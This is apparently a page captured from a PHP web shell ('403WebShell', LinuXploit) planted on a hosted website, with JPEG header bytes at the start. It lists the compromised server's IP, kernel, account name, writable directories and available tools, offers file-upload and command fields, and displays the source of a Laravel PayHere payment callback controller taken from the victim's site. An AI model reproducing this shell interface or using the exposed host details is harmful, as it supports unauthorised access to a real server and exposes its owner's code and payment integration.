����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.227.49.178
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/gle.gltechlimited.com/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/gle.gltechlimited.com/app/Http/Controllers/PayhereController.php
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Illuminate\Support\Facades\Http;

  
class PayhereController extends Controller
{
   
    public function callback(Request $request)
    {

        $authcode = base64_encode(env('PAYHERE_BUISNESS_APP_CODE') . ':' . env('PAYHERE_APP_SECRET'));

        if (env('PAYHERE_MODE') == 'sandbox') {
            $tokenurl = 'https://sandbox.payhere.lk/merchant/v1/oauth/token';
        } else {
            $tokenurl = 'https://www.payhere.lk/merchant/v1/oauth/token';
        }

        $response = Http::asForm()->withHeaders([
            'Authorization' => 'Basic ' . $authcode,
        ])->post($tokenurl, [
            'grant_type' => 'client_credentials',
        ]);

        if ($response->successful()) {

            $result = $response->json();
            $accessToken = $result['access_token'];

            if (env('PAYHERE_MODE') == 'sandbox') {
                $orderurl = 'https://sandbox.payhere.lk/merchant/v1/payment/search?order_id=';
            } else {
                $orderurl = 'https://www.payhere.lk/merchant/v1/payment/search?order_id=';
            }

            $paymentStatus = Http::withHeaders([
                'Authorization' => 'Bearer ' . $accessToken,
            ])->get($orderurl . $request->order_id);

            $status = $paymentStatus->json();

            if ($status['data'] == null) {
                return back()->with('deleted',__('Payment Failed ! Try Again'));

            } else {

                $txnid = $status['data'][0]['payment_id'];
                $plan_id = $request->order_id;
                $payment_status = '1';
                $payment_id = $txnid;
                $payment_amount = $request->amount;
                $payment_method = 'payhere';

                $checkout = new SubscriptionController;
                return $checkout->subscribe($payment_id, $payment_method, $plan_id, $payment_status, $payment_amount);

            }

        } else {

            return back()->with('deleted', $response['msg']);
        }

    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit